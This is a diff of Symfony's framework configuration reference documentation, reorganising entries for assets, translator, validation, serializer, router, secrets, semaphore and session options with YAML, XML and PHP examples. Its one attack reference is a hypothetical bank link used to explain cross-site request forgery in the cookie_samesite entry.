+    Setting the ``cache_dir`` option is deprecated since Symfony 7.1. The routes
+    are now always cached in the ``%kernel.build_dir%`` directory.
 
-version_strategy
-................
+default_uri
+...........
 
-**type**: ``string`` **default**: ``null``
+**type**: ``string``
 
-The service id of the :doc:`asset version strategy </frontend/custom_version_strategy>`
-applied to the assets. This option can be set globally for all assets and
-individually for each asset package:
+The default URI used to generate URLs in a non-HTTP context (see
+:ref:`Generating URLs in Commands <router-generate-urls-commands>`).
 
-.. configuration-block::
+http_port
+.........
 
-    .. code-block:: yaml
+**type**: ``integer`` **default**: ``80``
 
-        # config/packages/framework.yaml
-        framework:
-            assets:
-                # this strategy is applied to every asset (including packages)
-                version_strategy: 'app.asset.my_versioning_strategy'
-                packages:
-                    foo_package:
-                        # this package removes any versioning (its assets won't be versioned)
-                        version: ~
-                    bar_package:
-                        # this package uses its own strategy (the default strategy is ignored)
-                        version_strategy: 'app.asset.another_version_strategy'
-                    baz_package:
-                        # this package inherits the default strategy
-                        base_path: '/images'
+The port for normal http requests (this is used when matching the scheme).
 
-    .. code-block:: xml
+https_port
+..........
 
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+**type**: ``integer`` **default**: ``443``
 
-            <framework:config>
-                <framework:assets version-strategy="app.asset.my_versioning_strategy">
-                    <!-- this package removes any versioning (its assets won't be versioned) -->
-                    <framework:package
-                        name="foo_package"
-                        version="null"/>
-                    <!-- this package uses its own strategy (the default strategy is ignored) -->
-                    <framework:package
-                        name="bar_package"
-                        version-strategy="app.asset.another_version_strategy"/>
-                    <!-- this package inherits the default strategy -->
-                    <framework:package
-                        name="baz_package"
-                        base_path="/images"/>
-                </framework:assets>
-            </framework:config>
-        </container>
+The port for https requests (this is used when matching the scheme).
 
-    .. code-block:: php
+resource
+........
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+**type**: ``string`` **required**
 
-        return static function (FrameworkConfig $framework): void {
-            // ...
-            $framework->assets()
-                ->versionStrategy('app.asset.my_versioning_strategy');
+The path the main routing resource (e.g. a YAML file) that contains the
+routes and imports the router should load.
 
-            $framework->assets()->package('foo_package')
-                // this package removes any versioning (its assets won't be versioned)
-                ->version(null);
+strict_requirements
+...................
 
-            $framework->assets()->package('bar_package')
-                // this package uses its own strategy (the default strategy is ignored)
-                ->versionStrategy('app.asset.another_version_strategy');
+**type**: ``mixed`` **default**: ``true``
 
-            $framework->assets()->package('baz_package')
-                // this package inherits the default strategy
-                ->basePath('/images');
-        };
+Determines the routing generator behavior. When generating a route that
+has specific :ref:`parameter requirements <routing-requirements>`, the generator
+can behave differently in case the used parameters do not meet these requirements.
 
-.. note::
+The value can be one of:
 
-    This parameter cannot be set at the same time as ``version`` or ``json_manifest_path``.
+``true``
+    Throw an exception when the requirements are not met;
+``false``
+    Disable exceptions when the requirements are not met and return ``''``
+    instead;
+``null``
+    Disable checking the requirements (thus, match the route even when the
+    requirements don't match).
 
-.. _reference-assets-json-manifest-path:
-.. _reference-templating-json-manifest-path:
+``true`` is recommended in the development environment, while ``false``
+or ``null`` might be preferred in production.
 
-json_manifest_path
-..................
+.. _reference-router-type:
 
-**type**: ``string`` **default**: ``null``
+type
+....
 
-The file path or absolute URL to a ``manifest.json`` file containing an
-associative array of asset names and their respective compiled names. A common
-cache-busting technique using a "manifest" file works by writing out assets with
-a "hash" appended to their file names (e.g. ``main.ae433f1cb.css``) during a
-front-end compilation routine.
+**type**: ``string``
 
-.. tip::
+The type of the resource to hint the loaders about the format. This isn't
+needed when you use the default routers with the expected file extensions
+(``.xml``, ``.yaml``, ``.php``).
 
-    Symfony's :ref:`Webpack Encore <frontend-webpack-encore>` supports
-    :ref:`outputting hashed assets <encore-long-term-caching>`. Moreover, this
-    can be incorporated into many other workflows, including Webpack and
-    Gulp using `webpack-manifest-plugin`_ and `gulp-rev`_, respectively.
+utf8
+....
 
-This option can be set globally for all assets and individually for each asset
-package:
+**type**: ``boolean`` **default**: ``true``
 
-.. configuration-block::
+When this option is set to ``true``, the regular expressions used in the
+:ref:`requirements of route parameters <routing-requirements>` will be run
+using the `utf-8 modifier`_. This will for example match any UTF-8 character
+when using ``.``, instead of matching only a single byte.
 
-    .. code-block:: yaml
+If the charset of your application is UTF-8 (as defined in the
+:ref:`getCharset() method <configuration-kernel-charset>` of your kernel) it's
+recommended setting it to ``true``. This will make non-UTF8 URLs to generate 404
+errors.
 
-        # config/packages/framework.yaml
-        framework:
-            assets:
-                # this manifest is applied to every asset (including packages)
-                json_manifest_path: "%kernel.project_dir%/public/build/manifest.json"
-                # you can use absolute URLs too and Symfony will download them automatically
-                # json_manifest_path: 'https://cdn.example.com/manifest.json'
-                packages:
-                    foo_package:
-                        # this package uses its own manifest (the default file is ignored)
-                        json_manifest_path: "%kernel.project_dir%/public/build/a_different_manifest.json"
-                        # Throws an exception when an asset is not found in the manifest
-                        strict_mode: %kernel.debug%
-                    bar_package:
-                        # this package uses the global manifest (the default file is used)
-                        base_path: '/images'
+.. _configuration-framework-secret:
 
-    .. code-block:: xml
+secret
+~~~~~~
 
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+**type**: ``string`` **required**
 
-            <framework:config>
-                <!-- this manifest is applied to every asset (including packages) -->
-                <framework:assets json-manifest-path="%kernel.project_dir%/public/build/manifest.json">
-                <!-- you can use absolute URLs too and Symfony will download them automatically -->
-                <!-- <framework:assets json-manifest-path="https://cdn.example.com/manifest.json"> -->
-                    <!-- this package uses its own manifest (the default file is ignored) -->
-                    <!-- Throws an exception when an asset is not found in the manifest -->
-                    <framework:package
-                        name="foo_package"
-                        json-manifest-path="%kernel.project_dir%/public/build/a_different_manifest.json" strict-mode="%kernel.debug%"/>
-                    <!-- this package uses the global manifest (the default file is used) -->
-                    <framework:package
-                        name="bar_package"
-                        base-path="/images"/>
-                </framework:assets>
-            </framework:config>
-        </container>
+This is a string that should be unique to your application and it's commonly
+used to add more entropy to security related operations. Its value should
+be a series of characters, numbers and symbols chosen randomly and the
+recommended length is around 32 characters.
 
-    .. code-block:: php
+In practice, Symfony uses this value for encrypting the cookies used
+in the :doc:`remember me functionality </security/remember_me>` and for
+creating signed URIs when using :ref:`ESI (Edge Side Includes) <edge-side-includes>`.
+That's why you should treat this value as if it were a sensitive credential and
+**never make it public**.
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+This option becomes the service container parameter named ``kernel.secret``,
+which you can use whenever the application needs an immutable random string
+to add more entropy.
 
-        return static function (FrameworkConfig $framework): void {
-            // ...
-            $framework->assets()
-                // this manifest is applied to every asset (including packages)
-                ->jsonManifestPath('%kernel.project_dir%/public/build/manifest.json');
+As with any other security-related parameter, it is a good practice to change
+this value from time to time. However, keep in mind that changing this value
+will invalidate all signed URIs and Remember Me cookies. That's why, after
+changing this value, you should regenerate the application cache and log
+out all the application users.
 
-            // you can use absolute URLs too and Symfony will download them automatically
-            // 'json_manifest_path' => 'https://cdn.example.com/manifest.json',
-            $framework->assets()->package('foo_package')
-                // this package uses its own manifest (the default file is ignored)
-                ->jsonManifestPath('%kernel.project_dir%/public/build/a_different_manifest.json')
-                // Throws an exception when an asset is not found in the manifest
-                ->setStrictMode('%kernel.debug%');
+secrets
+~~~~~~~
 
-            $framework->assets()->package('bar_package')
-                // this package uses the global manifest (the default file is used)
-                ->basePath('/images');
-        };
+decryption_env_var
+..................
 
-.. note::
+**type**: ``string`` **default**: ``base64:default::SYMFONY_DECRYPTION_SECRET``
 
-    This parameter cannot be set at the same time as ``version`` or ``version_strategy``.
-    Additionally, this option cannot be nullified at the package scope if a global manifest
-    file is specified.
+The env var name that contains the vault decryption secret. By default, this
+value will be decoded from base64.
 
-.. tip::
+enabled
+.......
 
-    If you request an asset that is *not found* in the ``manifest.json`` file, the original -
-    *unmodified* - asset path will be returned.
-    You can set ``strict_mode`` to ``true`` to get an exception when an asset is *not found*.
+**type**: ``boolean`` **default**: ``true``
 
-.. note::
+Whether to enable or not secrets managements.
 
-    If a URL is set, the JSON manifest is downloaded on each request using the `http_client`_.
+local_dotenv_file
+.................
 
-.. _reference-assets-strict-mode:
+**type**: ``string`` **default**: ``%kernel.project_dir%/.env.%kernel.environment%.local``
 
-strict_mode
-...........
+The path to the local ``.env`` file. This file must contain the vault
+decryption key, given by the ``decryption_env_var`` option.
 
-**type**: ``boolean`` **default**: ``false``
+vault_directory
+...............
 
-When enabled, the strict mode asserts that all requested assets are in the
-manifest file. This option is useful to detect typos or missing assets, the
-recommended value is ``%kernel.debug%``.
+**type**: ``string`` **default**: ``%kernel.project_dir%/config/secrets/%kernel.runtime_environment%``
 
-translator
-~~~~~~~~~~
+The directory to store the secret vault. By default, the path includes the value
+of the :ref:`kernel.runtime_environment <configuration-kernel-runtime-environment>`
+parameter.
 
-cache_dir
-.........
+semaphore
+~~~~~~~~~
 
-**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/translations``
+**type**: ``string`` | ``array``
 
-Defines the directory where the translation cache is stored. Use ``null`` to
-disable this cache.
+The default semaphore adapter. Store's DSN are also allowed.
 
-.. _reference-translator-enabled:
+.. _reference-semaphore-enabled:
 
 enabled
 .......
 
-**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
+**type**: ``boolean`` **default**: ``true``
 
-Whether or not to enable the ``translator`` service in the service container.
+Whether to enable the support for semaphore or not. This setting is
+automatically set to ``true`` when one of the child settings is configured.
 
-.. _fallback:
+.. _reference-semaphore-resources:
 
-fallbacks
+resources
 .........
 
-**type**: ``string|array`` **default**: value of `default_locale`_
+**type**: ``array``
 
-This option is used when the translation key for the current locale wasn't
-found.
+A map of semaphore stores to be created by the framework extension, with
+the name as key and DSN as value:
 
-.. seealso::
+.. configuration-block::
 
-    For more details, see :doc:`/translation`.
+    .. code-block:: yaml
 
-.. _reference-framework-translator-logging:
+        # config/packages/semaphore.yaml
+        framework:
+            semaphore: '%env(SEMAPHORE_DSN)%'
 
-logging
-.......
+    .. code-block:: xml
 
-**default**: ``true`` when the debug mode is enabled, ``false`` otherwise.
+        <!-- config/packages/semaphore.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-When ``true``, a log entry is made whenever the translator cannot find a translation
-for a given key. The logs are made to the ``translation`` channel at the
-``debug`` level for keys where there is a translation in the fallback
-locale, and the ``warning`` level if there is no translation to use at all.
+            <framework:config>
+                <framework:semaphore>
+                    <framework:resource name="default">%env(SEMAPHORE_DSN)%</framework:resource>
+                </framework:semaphore>
+            </framework:config>
+        </container>
 
-.. _reference-framework-translator-formatter:
+    .. code-block:: php
 
-formatter
-.........
+        // config/packages/semaphore.php
+        use Symfony\Config\FrameworkConfig;
 
-**type**: ``string`` **default**: ``translator.formatter.default``
+        return static function (FrameworkConfig $framework): void {
+            $framework->semaphore()
+                ->resource('default', ['%env(SEMAPHORE_DSN)%']);
+        };
 
-The ID of the service used to format translation messages. The service class
-must implement the :class:`Symfony\\Component\\Translation\\Formatter\\MessageFormatterInterface`.
+.. _reference-semaphore-resources-name:
 
-.. _reference-translator-paths:
+name
+""""
+
+**type**: ``prototype``
+
+Name of the semaphore you want to create.
+
+.. _configuration-framework-serializer:
+
+serializer
+~~~~~~~~~~
+
+.. _reference-serializer-circular_reference_handler:
 
-paths
-.....
+circular_reference_handler
+..........................
 
-**type**: ``array`` **default**: ``[]``
+**type** ``string``
 
-This option allows to define an array of paths where the component will look
-for translation files. The later a path is added, the more priority it has
-(translations from later paths overwrite earlier ones). Translations from the
-:ref:`default_path <reference-translator-default_path>` have more priority than
-translations from all these paths.
+The service id that is used as the circular reference handler of the default
+serializer. The service has to implement the magic ``__invoke($object)``
+method.
 
-.. _reference-translator-default_path:
+.. seealso::
 
-default_path
-............
+    For more information, see
+    :ref:`component-serializer-handling-circular-references`.
 
-**type**: ``string`` **default**: ``%kernel.project_dir%/translations``
+default_context
+...............
 
-This option allows to define the path where the application translations files
-are stored.
+**type**: ``array`` **default**: ``[]``
 
-.. _reference-translator-providers:
+A map with default context options that will be used with each ``serialize`` and ``deserialize``
+call. This can be used for example to set the json encoding behavior by setting ``json_encode_options``
+to a `json_encode flags bitmask`_.
 
-providers
-.........
+You can inspect the :ref:`serializer context builders <serializer-using-context-builders>`
+to discover the available settings.
 
-**type**: ``array`` **default**: ``[]``
+.. _reference-serializer-enable_annotations:
 
-This option enables and configures :ref:`translation providers <translation-providers>`
-to push and pull your translations to/from third party translation services.
+enable_attributes
+.................
 
-property_access
-~~~~~~~~~~~~~~~
+**type**: ``boolean`` **default**: ``true``
 
-magic_call
-..........
+Enables support for `PHP attributes`_ in the serializer component.
 
-**type**: ``boolean`` **default**: ``false``
+.. seealso::
 
-When enabled, the ``property_accessor`` service uses PHP's
-:ref:`magic __call() method <components-property-access-magic-call>` when
-its ``getValue()`` method is called.
+    See :ref:`the reference <reference-attributes-serializer>` for a list of supported annotations.
 
-magic_get
-.........
+.. _reference-serializer-enabled:
 
-**type**: ``boolean`` **default**: ``true``
+enabled
+.......
 
-When enabled, the ``property_accessor`` service uses PHP's
-:ref:`magic __get() method <components-property-access-magic-get>` when
-its ``getValue()`` method is called.
+**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
-magic_set
-.........
+Whether to enable the ``serializer`` service or not in the service container.
 
-**type**: ``boolean`` **default**: ``true``
+.. _reference-serializer-mapping:
 
-When enabled, the ``property_accessor`` service uses PHP's
-:ref:`magic __set() method <components-property-access-writing-to-objects>` when
-its ``setValue()`` method is called.
+mapping
+.......
 
-throw_exception_on_invalid_index
-................................
+.. _reference-serializer-mapping-paths:
 
-**type**: ``boolean`` **default**: ``false``
+paths
+"""""
 
-When enabled, the ``property_accessor`` service throws an exception when you
-try to access an invalid index of an array.
+**type**: ``array`` **default**: ``[]``
 
-throw_exception_on_invalid_property_path
-........................................
+This option allows to define an array of paths with files or directories where
+the component will look for additional serialization files.
 
-**type**: ``boolean`` **default**: ``true``
+.. _reference-serializer-name_converter:
 
-When enabled, the ``property_accessor`` service throws an exception when you
-try to access an invalid property path of an object.
+name_converter
+..............
 
-property_info
-~~~~~~~~~~~~~
+**type**: ``string``
 
-.. _reference-property-info-enabled:
+The name converter to use.
+The :class:`Symfony\\Component\\Serializer\\NameConverter\\CamelCaseToSnakeCaseNameConverter`
+name converter can enabled by using the ``serializer.name_converter.camel_case_to_snake_case``
+value.
 
-enabled
-.......
+.. seealso::
 
-**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
+    For more information, see :ref:`serializer-name-conversion`.
 
-.. _reference-validation:
+.. _config-framework-session:
 
-validation
-~~~~~~~~~~
+session
+~~~~~~~
 
-.. _reference-validation-auto-mapping:
+cache_limiter
+.............
 
-auto_mapping
-............
+**type**: ``string`` **default**: ``0``
 
-**type**: ``array`` **default**: ``[]``
+If set to ``0``, Symfony won't set any particular header related to the cache
+and it will rely on ``php.ini``'s `session.cache_limiter`_ directive.
 
-Defines the Doctrine entities that will be introspected to add
-:ref:`automatic validation constraints <automatic_object_validation>` to them:
+Unlike the other session options, ``cache_limiter`` is set as a regular
+:ref:`container parameter <configuration-parameters>`:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        framework:
-            validation:
-                auto_mapping:
-                    # an empty array means that all entities that belong to that
-                    # namespace will add automatic validation
-                    'App\Entity\': []
-                    'Foo\': ['Foo\Some\Entity', 'Foo\Another\Entity']
+        # config/services.yaml
+        parameters:
+            session.storage.options:
+                cache_limiter: 0
 
     .. code-block:: xml
 
-        <!-- config/packages/framework.xml -->
+        <!-- config/services.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:validation>
-                    <framework:auto-mapping>
-                        <framework:service namespace="App\Entity\"/>
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
 
-                        <framework:service namespace="Foo\">Foo\Some\Entity</framework:service>
-                        <framework:service namespace="Foo\">Foo\Another\Entity</framework:service>
-                    </framework:auto-mapping>
-                </framework:validation>
-            </framework:config>
+            <parameters>
+                <parameter key="session.storage.options" type="collection">
+                    <parameter key="cache_limiter">0</parameter>
+                </parameter>
+            </parameters>
         </container>
 
     .. code-block:: php
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework): void {
-            $framework->validation()
-                ->autoMapping()
-                    ->paths([
-                        'App\\Entity\\' => [],
-                        'Foo\\' => ['Foo\\Some\\Entity', 'Foo\\Another\\Entity'],
-                    ]);
-        };
-
-.. _reference-validation-enabled:
+        // config/services.php
+        $container->setParameter('session.storage.options', [
+            'cache_limiter' => 0,
+        ]);
 
-enabled
-.......
+Be aware that if you configure it, you'll have to set other session-related options
+as parameters as well.
 
-**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
+cookie_domain
+.............
 
-Whether or not to enable validation support.
+**type**: ``string``
 
-This option will automatically be set to ``true`` when one of the child
-settings is configured.
+This determines the domain to set in the session cookie.
 
-.. _reference-validation-enable_annotations:
+If not set, ``php.ini``'s `session.cookie_domain`_ directive will be relied on.
 
-enable_attributes
-.................
+cookie_httponly
+...............
 
 **type**: ``boolean`` **default**: ``true``
 
-If this option is enabled, validation constraints can be defined using `PHP attributes`_.
+This determines whether cookies should only be accessible through the HTTP
+protocol. This means that the cookie won't be accessible by scripting
+languages, such as JavaScript. This setting can effectively help to reduce
+identity theft through :ref:`XSS attacks <xss-attacks>`.
 
-translation_domain
-..................
+cookie_lifetime
+...............
 
-**type**: ``string | false`` **default**: ``validators``
+**type**: ``integer``
 
-The translation domain that is used when translating validation constraint
-error messages. Use false to disable translations.
+This determines the lifetime of the session - in seconds.
+Setting this value to ``0`` means the cookie is valid for
+the length of the browser session.
 
-.. _reference-validation-not-compromised-password:
+If not set, ``php.ini``'s `session.cookie_lifetime`_ directive will be relied on.
 
-not_compromised_password
-........................
+cookie_path
+...........
 
-The :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
-constraint makes HTTP requests to a public API to check if the given password
-has been compromised in a data breach.
+**type**: ``string``
 
-.. _reference-validation-not-compromised-password-enabled:
+This determines the path to set in the session cookie.
 
-enabled
-"""""""
+If not set, ``php.ini``'s `session.cookie_path`_ directive will be relied on.
 
-**type**: ``boolean`` **default**: ``true``
+cookie_samesite
+...............
 
-If you set this option to ``false``, no HTTP requests will be made and the given
-password will be considered valid. This is useful when you don't want or can't
-make HTTP requests, such as in ``dev`` and ``test`` environments or in
-continuous integration servers.
+**type**: ``string`` or ``null`` **default**: ``null``
 
-endpoint
-""""""""
+It controls the way cookies are sent when the HTTP request did not originate
+from the same domain that is associated with the cookies. Setting this option is
+recommended to mitigate `CSRF security attacks`_.
 
-**type**: ``string`` **default**: ``null``
+By default, browsers send all cookies related to the domain of the HTTP request.
+This may be a problem for example when you visit a forum and some malicious
+comment includes a link like ``https://some-bank.com/?send_money_to=attacker&amount=1000``.
+If you were previously logged into your bank website, the browser will send all
+those cookies when making that HTTP request.
 
-By default, the :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
-constraint uses the public API provided by `haveibeenpwned.com`_. This option
-allows to define a different, but compatible, API endpoint to make the password
-checks. It's useful for example when the Symfony application is run in an
-intranet without public access to the internet.
+The possible values for this option are:
+
+* ``null``, use ``php.ini``'s `session.cookie_samesite`_ directive.
+* ``'none'`` (or the ``Symfony\Component\HttpFoundation\Cookie::SAMESITE_NONE`` constant), use it to allow
+  sending of cookies when the HTTP request originated from a different domain
+  (previously this was the default behavior of null, but in newer browsers ``'lax'``
+  would be applied when the header has not been set)
+* ``'strict'`` (or the ``Cookie::SAMESITE_STRICT`` constant), use it to never
+  send any cookie when the HTTP request did not originate from the same domain.
+* ``'lax'`` (or the ``Cookie::SAMESITE_LAX`` constant), use it to allow sending
+  cookies when the request originated from a different domain, but only when the
+  user consciously made the request (by clicking a link or submitting a form
+  with the ``GET`` method).
 
-static_method
+cookie_secure
 .............
 
-**type**: ``string | array`` **default**: ``['loadValidatorMetadata']``
-
-Defines the name of the static method which is called to load the validation
-metadata of the class. You can define an array of strings with the names of
-several methods. In that case, all of them will be called in that order to load
-the metadata.
-
-.. _reference-validation-email_validation_mode:
-
-email_validation_mode
-.....................
+**type**: ``boolean`` or ``'auto'``
 
-**type**: ``string`` **default**: ``html5``
+This determines whether cookies should only be sent over secure connections. In
+addition to ``true`` and ``false``, there's a special ``'auto'`` value that
+means ``true`` for HTTPS requests and ``false`` for HTTP requests.
 
-Sets the default value for the
-:ref:`"mode" option of the Email validator <reference-constraint-email-mode>`.
+If not set, ``php.ini``'s `session.cookie_secure`_ directive will be relied on.
 
-.. _reference-validation-mapping:
+.. _reference-session-enabled:
 
-mapping
+enabled
 .......
 
-.. _reference-validation-mapping-paths:
-
-paths
-"""""
-
-**type**: ``array`` **default**: ``['config/validation/']``
+**type**: ``boolean`` **default**: ``true``
 
-This option allows to define an array of paths with files or directories where
-the component will look for additional validation files:
+Whether to enable the session support in the framework.
 
 .. configuration-block::
 
@@ -2833,10 +3003,8 @@ the component will look for additional validation files:
 
         # config/packages/framework.yaml
         framework:
-            validation:
-                mapping:
-                    paths:
-                        - "%kernel.project_dir%/config/validation/"
+            session:
+                enabled: true
 
     .. code-block:: xml
 
@@ -2850,11 +3018,7 @@ the component will look for additional validation files:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:validation>
-                    <framework:mapping>
-                        <framework:path>%kernel.project_dir%/config/validation/</framework:path>
-                    </framework:mapping>
-                </framework:validation>
+                <framework:session enabled="true"/>
             </framework:config>
         </container>
 
@@ -2864,152 +3028,163 @@ the component will look for additional validation files:
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->validation()
-                ->mapping()
-                    ->paths(['%kernel.project_dir%/config/validation/']);
+            $framework->session()
+                ->enabled(true);
         };
 
-annotations
-~~~~~~~~~~~
-
-.. _reference-annotations-cache:
-
-cache
-.....
+gc_divisor
+..........
 
-**type**: ``string`` **default**: ``php_array``
+**type**: ``integer``
 
-This option can be one of the following values:
+See `gc_probability`_.
 
-php_array
-    Use a PHP array to cache annotations in memory
-file
-    Use the filesystem to cache annotations
-none
-    Disable the caching of annotations
+If not set, ``php.ini``'s `session.gc_divisor`_ directive will be relied on.
 
-file_cache_dir
+gc_maxlifetime
 ..............
 
-**type**: ``string`` **default**: ``%kernel.cache_dir%/annotations``
-
-The directory to store cache files for annotations, in case
-``annotations.cache`` is set to ``'file'``.
-
-debug
-.....
-
-**type**: ``boolean`` **default**: ``%kernel.debug%``
-
-Whether to enable debug mode for caching. If enabled, the cache will
-automatically update when the original file is changed (both with code and
-annotation changes). For performance reasons, it is recommended to disable
-debug mode in production, which will happen automatically if you use the
-default value.
-
-.. _configuration-framework-serializer:
-
-serializer
-~~~~~~~~~~
-
-.. _reference-serializer-enabled:
+**type**: ``integer``
 
-enabled
-.......
+This determines the number of seconds after which data will be seen as "garbage"
+and potentially cleaned up. Garbage collection may occur during session
+start and depends on `gc_divisor`_ and `gc_probability`_.
 
-**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
+If not set, ``php.ini``'s `session.gc_maxlifetime`_ directive will be relied on.
 
-Whether to enable the ``serializer`` service or not in the service container.
+gc_probability
+..............
 
-.. _reference-serializer-enable_annotations:
+**type**: ``integer``
 
-enable_attributes
-.................
+This defines the probability that the garbage collector (GC) process is
+started on every session initialization. The probability is calculated by
+using ``gc_probability`` / ``gc_divisor``, e.g. 1/100 means there is a 1%
+chance that the GC process will start on each request.
 
-**type**: ``boolean`` **default**: ``true``
+If not set, Symfony will use the value of the `session.gc_probability`_ directive
+in the ``php.ini`` configuration file.
 
-Enables support for `PHP attributes`_ in the serializer component.
+.. versionadded:: 7.2
 
-.. seealso::
+    Relying on ``php.ini``'s directive as default for ``gc_probability`` was
+    introduced in Symfony 7.2.
 
-    See :ref:`the reference <reference-attributes-serializer>` for a list of supported annotations.
+.. _config-framework-session-handler-id:
 
-.. _reference-serializer-name_converter:
+handler_id
+..........
 
-name_converter
-..............
+**type**: ``string`` | ``null`` **default**: ``null``
 
-**type**: ``string``
+If ``framework.session.save_path`` is not set, the default value of this option
+is ``null``, which means to use the session handler configured in php.ini. If the
+``framework.session.save_path`` option is set, then Symfony stores sessions using
+the native file session handler.
 
-The name converter to use.
-The :class:`Symfony\\Component\\Serializer\\NameConverter\\CamelCaseToSnakeCaseNameConverter`
-name converter can enabled by using the ``serializer.name_converter.camel_case_to_snake_case``
-value.
+It is possible to :ref:`store sessions in a database <session-database>`,
+and also to configure the session handler with a DSN:
 
-.. seealso::
+.. configuration-block::
 
-    For more information, see :ref:`serializer-name-conversion`.
+    .. code-block:: yaml
 
-.. _reference-serializer-circular_reference_handler:
+        # config/packages/framework.yaml
+        framework:
+            session:
+                # a few possible examples
+                handler_id: 'redis://localhost'
+                handler_id: '%env(REDIS_URL)%'
+                handler_id: '%env(DATABASE_URL)%'
+                handler_id: 'file://%kernel.project_dir%/var/sessions'
 
-circular_reference_handler
-..........................
+    .. code-block:: xml
 
-**type** ``string``
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <!-- a few possible examples -->
+                <framework:session enabled="true"
+                    handler-id="redis://localhost"
+                    handler-id="%env(REDIS_URL)%"
+                    handler-id="%env(DATABASE_URL)%"
+                    handler-id="file://%kernel.project_dir%/var/sessions"/>
+            </framework:config>
+        </container>
 
-The service id that is used as the circular reference handler of the default
-serializer. The service has to implement the magic ``__invoke($object)``
-method.
+    .. code-block:: php
 
-.. seealso::
+        // config/packages/framework.php
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
+        use Symfony\Config\FrameworkConfig;
 
-    For more information, see
-    :ref:`component-serializer-handling-circular-references`.
+        return static function (FrameworkConfig $framework): void {
+            // ...
 
-.. _reference-serializer-mapping:
+            $framework->session()
+                // a few possible examples
+                ->handlerId('redis://localhost')
+                ->handlerId(env('REDIS_URL'))
+                ->handlerId(env('DATABASE_URL'))
+                ->handlerId('file://%kernel.project_dir%/var/sessions');
+        };
 
-mapping
-.......
+.. note::
 
-.. _reference-serializer-mapping-paths:
+    Supported DSN protocols are the following:
 
-paths
-"""""
+    * ``file``
+    * ``redis``
+    * ``rediss`` (Redis over TLS)
+    * ``memcached`` (requires :doc:`symfony/cache </components/cache>`)
+    * ``pdo_oci`` (requires :doc:`doctrine/dbal </doctrine/dbal>`)
+    * ``mssql``
+    * ``mysql``
+    * ``mysql2``
+    * ``pgsql``
+    * ``postgres``
+    * ``postgresql``
+    * ``sqlsrv``
+    * ``sqlite``
+    * ``sqlite3``
 
-**type**: ``array`` **default**: ``[]``
+.. _reference-session-metadata-update-threshold:
 
-This option allows to define an array of paths with files or directories where
-the component will look for additional serialization files.
+metadata_update_threshold
+.........................
 
-default_context
-...............
+**type**: ``integer`` **default**: ``0``
 
-**type**: ``array`` **default**: ``[]``
+This is how many seconds to wait between updating/writing the session metadata.
+This can be useful if, for some reason, you want to limit the frequency at which
+the session persists, instead of doing that on every request.
 
-A map with default context options that will be used with each ``serialize`` and ``deserialize``
-call. This can be used for example to set the json encoding behavior by setting ``json_encode_options``
-to a `json_encode flags bitmask`_.
+.. _name:
 
-You can inspect the :ref:`serializer context builders <serializer-using-context-builders>`
-to discover the available settings.
+name
+....
 
-php_errors
-~~~~~~~~~~
+**type**: ``string``
 
-log
-...
+This specifies the name of the session cookie.
 
-**type**: ``boolean`` | ``int`` | ``array<int, string>`` **default**: ``true``
+If not set, ``php.ini``'s `session.name`_ directive will be relied on.
 
-Use the application logger instead of the PHP logger for logging PHP errors.
-When an integer value is used, it defines a bitmask of PHP errors that will
-be logged. Those integer values must be the same used in the
